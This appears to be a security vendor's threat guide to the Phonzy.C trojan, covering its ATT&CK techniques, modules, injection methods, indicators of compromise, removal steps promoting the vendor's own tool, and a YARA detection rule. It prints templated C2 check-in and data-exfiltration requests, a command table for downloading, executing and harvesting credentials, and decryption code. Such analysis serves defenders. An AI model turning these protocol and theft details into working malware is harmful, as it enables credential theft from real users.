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Lesya Kurbasa 7B
03194 Kyiv, Kyivska obl, Ukraine
Trojan:Win32/Phonzy.C!ml is a dangerous trojan horse malware targeting Windows systems. Detected through Microsoft’s machine learning algorithms, this sophisticated threat is designed to evade detection while stealing sensitive information, providing remote access to attackers, and potentially serving as a delivery mechanism for additional malware. Once infected, victims may experience system slowdowns, unauthorized data access, and compromised accounts. This comprehensive guide provides the technical details of this threat, explains its infection mechanisms, and offers step-by-step removal instructions to secure your system.
Trojan:Win32/Phonzy.C!ml belongs to the Phonzy trojan family, which is primarily designed to establish unauthorized remote access to infected systems while stealing sensitive information. The “C” variant represents an evolved version with enhanced evasion techniques and expanded functionality. The “!ml” suffix in its detection name indicates that this threat is identified using Microsoft’s machine learning algorithms, often meaning it employs advanced obfuscation techniques to evade traditional signature-based detection.
This malware operates stealthily in the background, concealing its presence from the user while performing various malicious activities:
Understanding the infection process of Trojan:Win32/Phonzy.C!ml is crucial for effective prevention and removal. This threat typically spreads through multiple vectors, using social engineering and exploits to compromise systems:
Source: Based on analysis of Phonzy trojan family behavior and malware infection patterns
Once the initial infection vector successfully delivers the malware, Trojan:Win32/Phonzy.C!ml executes in multiple stages:
Trojan:Win32/Phonzy.C!ml employs numerous tactics, techniques, and procedures (TTPs) documented in the MITRE ATT&CK framework. Understanding these techniques helps security professionals detect and mitigate this threat:
Technique ID | Name | Description in Phonzy.C Context |
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T1055 | Process Injection | Injects malicious code into legitimate Windows processes to evade detection and gain privileges |
T1140 | Deobfuscate/Decode Files or Information | Uses multiple layers of encoding and encryption to hide its actual payload |
T1112 | Modify Registry | Creates registry keys for persistence and configuration storage |
T1059.003 | Command and Scripting Interpreter: Windows Command Shell | Executes commands via cmd.exe to perform system reconnaissance and configuration |
T1573 | Encrypted Channel | Uses custom encryption for command and control communications |
T1082 | System Information Discovery | Collects system information to tailor its behavior and report to attackers |
T1056.001 | Input Capture: Keylogging | Implements keylogging functionality to steal credentials |
T1218 | System Binary Proxy Execution | Abuses legitimate Windows utilities to execute malicious code |
T1497 | Virtualization/Sandbox Evasion | Checks for analysis environments and alters behavior if detected |
T1555 | Credentials from Password Stores | Extracts stored credentials from browsers and applications |
This section provides in-depth technical information for cybersecurity researchers and incident response teams investigating Trojan:Win32/Phonzy.C!ml infections. Understanding the internals of this malware enables more effective detection, analysis, and remediation strategies.
Trojan:Win32/Phonzy.C!ml follows a modular architecture with several distinct components working together:
Component | Functionality | Implementation Details |
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Loader Module | Initial execution, anti-analysis, and environment checks | Written in C++, heavily obfuscated with control flow flattening and string encryption |
Core Engine | Persistence mechanisms, privilege escalation, self-defense | Uses advanced hooking techniques to intercept security software API calls |
Collection Module | Credential harvesting, keylogging, and data theft | Leverages memory scraping to extract credentials directly from browser processes |
C2 Communication Module | Command reception and data exfiltration | Custom implementation of HTTPS with additional XOR-based encryption layer |
Surveillance Module | Screen capturing, keystroke logging, webcam access | Uses legitimate system DLLs to avoid suspicious imports in PE headers |
Update Module | Self-update and additional payload downloading | Implements fileless execution techniques using reflective DLL loading |
Trojan:Win32/Phonzy.C!ml employs sophisticated techniques to evade analysis. Researchers should be aware of these evasion methods:
When conducting memory forensics on systems infected with Trojan:Win32/Phonzy.C!ml, focus on these key memory artifacts:
Source: Memory analysis of Trojan:Win32/Phonzy.C!ml samples in controlled environments
Analysis Target | Tool / Method | Detection Indicators |
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Process Injection Points |
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API Hooking Detection |
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Network Communication Structures |
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Encrypted Configuration |
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Keylogging Buffer |
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Trojan:Win32/Phonzy.C!ml uses a custom protocol layered on top of HTTPS for command and control communication. Understanding this protocol is essential for detection and intelligence gathering:
== Phonzy.C C2 Communication Protocol == 1. Initial Check-in Request: POST /gate.php?id={machine_id}&ver={malware_version}&os={os_version} HTTP/1.1 Host: {c2_domain} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Type: application/octet-stream X-Phonz-Integrity: {integrity_checksum} Content-Length: {length} {XOR_encrypted_system_information} 2. Server Response Format: HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream X-Command-Type: {command_id} Content-Length: {length} {encrypted_command_data} 3. Data Exfiltration Format: POST /panel/report.php?uuid={machine_id}&type={data_type} HTTP/1.1 Host: {c2_domain} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Type: application/octet-stream X-Phonz-Integrity: {integrity_checksum} Content-Length: {length} {encrypted_stolen_data} 4. Data Encryption Algorithm (Pseudocode): function EncryptData(data, key) { // Initial XOR round for (i = 0; i < data.length; i++) { data[i] ^= key[i % key.length]; } // Custom substitution cipher for (i = 0; i < data.length; i++) { data[i] = SBOX[data[i]]; } // Final transformation for (i = data.length - 1; i > 0; i--) { data[i] ^= data[i-1]; } return Base64Encode(data); } |
Command ID | Function | Parameter Structure | Response Structure |
---|---|---|---|
0x01 | System Information Gathering | None | Encrypted JSON with hardware, software, and network configuration |
0x02 | File Download | URL, destination path, execution flag | Status code, error message (if any) |
0x03 | Execute Command | Command line, execution mode (cmd/powershell) | Command output, exit code |
0x04 | Credential Harvesting | Target type (browsers, email, system) | Structured credential data |
0x05 | Keylogger Control | Action (start/stop/dump) | Status or logged keystroke data |
0x06 | Screenshot Capture | Quality, monitor selection | PNG image data |
0x07 | Self Update | URL of new version | Update status |
0x08 | Self Delete | Wipe mode (basic/secure) | Confirmation before termination |
0x09 | Additional Module Deployment | Module ID, parameters | Deployment status |
0x0A | Remote Desktop Control | Connection parameters (port, quality) | Connection status |
When analyzing network traffic for Trojan:Win32/Phonzy.C!ml, look for these distinguishing characteristics:
Trojan:Win32/Phonzy.C!ml employs multiple layers of obfuscation and encryption to protect its code and data. Here’s a breakdown of the techniques observed:
// Sample code fragment from Phonzy.C string decryption routine // Deobfuscated and annotated for analysis purposes char * DecryptString( const char * encrypted_data, size_t length, uint32_t key) { // Allocate buffer for decrypted string char * decrypted = ( char *) malloc (length + 1); if (!decrypted) return NULL; // Multi-layered decryption process uint32_t mod_key = key ^ 0x29A75E4B; // Key transformation // First layer: rolling XOR with transformed key for ( size_t i = 0; i < length; i++) { decrypted[i] = encrypted_data[i] ^ ((mod_key >> (i % 4) * 8) & 0xFF); } // Second layer: substitution using dynamically generated SBox uint8_t sbox[256]; GenerateDecryptionSBox(sbox, key); for ( size_t i = 0; i < length; i++) { decrypted[i] = sbox[( uint8_t )decrypted[i]]; } // Third layer: positional byte manipulation for ( size_t i = 0; i < length / 2; i++) { uint8_t tmp = decrypted[i]; decrypted[i] = decrypted[length - i - 1] ^ (key & 0xFF); decrypted[length - i - 1] = tmp ^ ((key >> 8) & 0xFF); } // NULL termination for string decrypted[length] = '\0' ; return decrypted; } // SBox generation function - unique to Phonzy family void GenerateDecryptionSBox( uint8_t * sbox, uint32_t seed) { // Initialize SBox with sequential values for ( int i = 0; i < 256; i++) { sbox[i] = i; } // Mix using RC4-like algorithm with custom modifications uint8_t j = 0; uint32_t current_seed = seed; for ( int i = 0; i < 256; i++) { current_seed = current_seed * 214013 + 2531011; // Linear congruential generator j = j + sbox[i] + ((current_seed >> 16) & 0xFF); // Swap values uint8_t temp = sbox[i]; sbox[i] = sbox[j]; sbox[j] = temp; } } |
The obfuscation techniques include:
Trojan:Win32/Phonzy.C!ml utilizes sophisticated DLL loading and process injection techniques to maintain persistence and evade detection:
Technique | Implementation Details | Target Processes |
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Reflective DLL Injection | Custom implementation that loads DLL directly from memory without calling LoadLibrary, manually resolving imports and relocations | explorer.exe, browser processes, legitimate system utilities |
Process Hollowing | Creates suspended process, unmaps original code section, and replaces with malicious payload before resuming execution | svchost.exe, rundll32.exe |
APC Injection | Queues Asynchronous Procedure Calls to insert shellcode execution into target process threads | Any process with accessible threads in alertable state |
Module Stomping | Loads legitimate DLL and overwrites its code section with malicious code while preserving PE headers | Processes that load standard Windows DLLs |
Thread Execution Hijacking | Suspends legitimate thread, modifies its execution context to point to shellcode, then resumes execution | Long-running system processes |
Phantom DLL Hollowing | Maps section objects between processes without triggering standard DLL load monitoring | Various system processes |
The malware follows this sequential approach to inject its components:
When analyzing Trojan:Win32/Phonzy.C!ml in a controlled environment, researchers should consider the following approach:
Analysis Phase | Tools | Key Considerations |
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Initial Static Analysis |
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Safe Environment Preparation |
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Dynamic Analysis |
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Network Traffic Analysis |
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Code Deobfuscation |
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Understanding how Trojan:Win32/Phonzy.C!ml steals credentials is crucial for detection and mitigation. The malware employs different techniques depending on the target:
Target Application | Theft Method | Storage Location |
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Google Chrome / Chromium-based browsers |
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Mozilla Firefox |
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Microsoft Edge |
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Email Clients |
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Windows Credentials |
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Cryptocurrency Wallets |
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The stolen credentials are structured and encrypted before exfiltration to the C2 server using the protocol described earlier.
To determine if your system is infected with Trojan:Win32/Phonzy.C!ml, check for these indicators of compromise:
File Location | Description |
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%APPDATA%\Microsoft\Windows\Templates\phonzy.exe |
Main executable component |
%TEMP%\ph0nzy_[random].dll |
Malicious DLL containing primary functionality |
%PROGRAMDATA%\Microsoft\Windows\phonz_config.dat |
Encrypted configuration file |
%SYSTEM32%\drivers\pzsrv.sys |
Potential rootkit component for persistence |
%LOCALAPPDATA%\[random folder name]\phonzy.db |
Database containing harvested credentials |
%SYSTEM%\[legitimate Windows filename].tmp |
Hijacked system file with injected code |
Registry Key | Description |
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HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\WindowsServices |
Run key for persistence at user login |
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{BC93C0CD-44F9-4F3A-8D1E-09617EFF7CB6} |
Browser helper object for credential theft |
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\[malicious domains] |
Modified security zone settings to enable downloads |
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PhonzyService |
Malicious service registration |
Type | Indicator | Description |
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Command & Control Servers | phonzy-panel[.]com phonzy-secure[.]net pz-stats[.]ru |
Primary C2 infrastructure used for receiving commands and exfiltrating data |
Network Traffic | HTTPS traffic to non-standard ports (8443, 9447, 2096) | Encrypted communication channels using custom protocols over HTTPS |
DNS Requests | Unusual DNS queries with encoded data in subdomains | Data exfiltration or command retrieval through DNS tunneling |
URL Patterns | /gate.php?id=[encoded data] /panel/report.php?uuid=[system ID] |
Typical URL patterns used for malware check-ins and data uploads |
Removing Trojan:Win32/Phonzy.C!ml requires a systematic approach to ensure all malicious components are eliminated. We recommend using professional removal tools, combined with manual checks where necessary:
For efficient and thorough removal of Trojan:Win32/Phonzy.C!ml, we recommend using specialized anti-malware software designed to detect and eliminate sophisticated threats:
Download the official version from GridinSoft to ensure effective removal of Trojan:Win32/Phonzy.C!ml and prevent reinfection
If you prefer to manually remove Trojan:Win32/Phonzy.C!ml, follow these steps carefully. Note that manual removal is recommended only for advanced users, as improper modifications can damage your system:
⚠️ Warning: Manual malware removal carries significant risks, including system instability or data loss. Only proceed if you have advanced technical knowledge. For most users, automated removal using Trojan Killer is the safer and more effective option.
After successfully removing Trojan:Win32/Phonzy.C!ml, take these additional steps to secure your system and prevent reinfection:
Prevention is always better than cure when it comes to malware infections. Implement these security practices to safeguard your system against Trojan:Win32/Phonzy.C!ml and similar threats:
Security Measure | Implementation |
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Keep software updated | Enable automatic updates for your operating system and applications to patch security vulnerabilities promptly |
Use comprehensive security software | Install and maintain reputable antivirus and anti-malware solutions like Trojan Killer with real-time protection |
Practice email vigilance | Be suspicious of unexpected email attachments or links, even if they appear to come from known contacts |
Download from official sources | Obtain software only from official websites or app stores, avoiding third-party downloaders or torrent sites |
Implement strong passwords | Use unique, complex passwords for each account and consider a password manager to keep track of them |
Enable two-factor authentication | Add this additional security layer to all accounts that support it, especially financial and email accounts |
Regularly backup data | Maintain current backups of important files using the 3-2-1 rule: three copies, two different media types, one copy offsite |
Use network protection | Configure your router securely, use a firewall, and consider a virtual private network (VPN) for enhanced privacy |
Practice safe browsing | Be cautious about clicking on ads, avoid suspicious websites, and consider browser extensions that block malicious content |
Implement least privilege principle | Use standard user accounts for daily activities rather than administrator accounts to limit malware impact |
Security researchers and professionals can use the following YARA rule to detect Trojan:Win32/Phonzy.C!ml samples:
rule Trojan_Win32_Phonzy_C { meta: description = "Detects Trojan:Win32/Phonzy.C!ml variants" author = "GridinSoft Security Research" date = "2024-11-01" severity = "high" reference = "https://gridinsoft.com/blog/trojan-win32-phonzy-c-removal/" strings: // Common file header signatures $mz = "MZ" // String patterns found in Phonzy variants $str1 = "phonzy_config" wide ascii $str2 = "PZ_Collect" wide ascii $str3 = "GetSavedCredentials" wide ascii $str4 = "SendDataToServer" wide ascii // Binary patterns $bin1 = { 83 EC 20 53 56 57 8B 7D 08 8B D9 83 7F ?? 00 0F 84 } $bin2 = { 8B 45 ?? 89 45 ?? 83 7D ?? 00 74 ?? 8B 55 ?? 52 E8 } $bin3 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 } // Anti-analysis techniques $anti1 = "IsDebuggerPresent" ascii $anti2 = "CheckRemoteDebuggerPresent" ascii $anti3 = "SbieDll.dll" wide ascii nocase $anti4 = "dbghelp" ascii // C2 communication patterns $c2_1 = "/gate.php?id=" ascii $c2_2 = "/panel/report.php" ascii $c2_3 = "phonzy-" ascii $c2_4 = { 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A } // "HTTP/1.1 200 OK\r\n" // Keylogging functionality $keylog1 = "GetAsyncKeyState" ascii $keylog2 = "GetForegroundWindow" ascii $keylog3 = "GetWindowTextW" ascii // Credential stealing $cred1 = "Chrome" wide ascii $cred2 = "Firefox" wide ascii $cred3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles" wide ascii $cred4 = "Outlook" wide ascii condition: $mz at 0 and filesize < 5MB and ( // At least 2 string patterns 2 of ($str*) and // At least 1 binary pattern 1 of ($bin*) and // At least 2 anti-analysis techniques 2 of ($anti*) and // At least 1 C2 pattern 1 of ($c2*) and // Evidence of either keylogging or credential stealing (2 of ($keylog*) or 2 of ($cred*)) ) } |
Trojan:Win32/Phonzy.C!ml shares characteristics with several other threats. Familiarize yourself with these related malware families to better protect your systems:
Look for symptoms like unexpected system slowdowns, disabled security software, strange network activity, or unauthorized account access. You may also notice unusual processes in Task Manager or find suspicious files in locations mentioned in the IoC section of this guide. For definitive detection, run a scan with Trojan Killer or other reputable anti-malware software.
Yes, Trojan:Win32/Phonzy.C!ml is specifically designed to steal sensitive information, including banking credentials. It captures this data through various methods including keylogging, clipboard monitoring, and directly accessing stored credentials in browsers and banking applications. If you suspect infection, you should immediately change all passwords from a clean device and contact your financial institutions.
Windows Defender may detect some variants of Trojan:Win32/Phonzy.C!ml, especially since the “!ml” suffix indicates detection through Microsoft’s machine learning algorithms. However, this trojan uses sophisticated evasion techniques that may bypass Windows Defender in some cases. For more reliable detection and complete removal, specialized anti-malware tools like Trojan Killer are recommended.
Unfortunately, once data has been exfiltrated by Trojan:Win32/Phonzy.C!ml, it cannot be recovered from the attackers. The best approach is to immediately change all passwords from a clean device, enable two-factor authentication wherever possible, and monitor your accounts for suspicious activity. If financial information was compromised, contact your bank and credit card companies immediately.
Removing the trojan is just the first step. You should also change all passwords, update your software, check for other malware that might have been installed, and implement stronger security practices. No computer is ever “completely secure,” but following the prevention guidelines in this article will significantly reduce your risk of future infections.
Trojan:Win32/Phonzy.C!ml represents a significant threat to Windows users, combining sophisticated evasion techniques with powerful information-stealing capabilities. Understanding how this malware operates is crucial for effective detection, removal, and prevention of future infections.
If you suspect your system is infected, act quickly to minimize potential damage. Use the comprehensive removal instructions provided in this guide, particularly the automated removal process with Trojan Killer, to thoroughly eliminate all malicious components. Follow up with the recommended security measures to secure your accounts and prevent reinfection.
Remember that maintaining good cybersecurity hygiene—including regular software updates, strong passwords, caution with email attachments and downloads, and use of reputable security software—is your best defense against Trojan:Win32/Phonzy.C!ml and similar threats.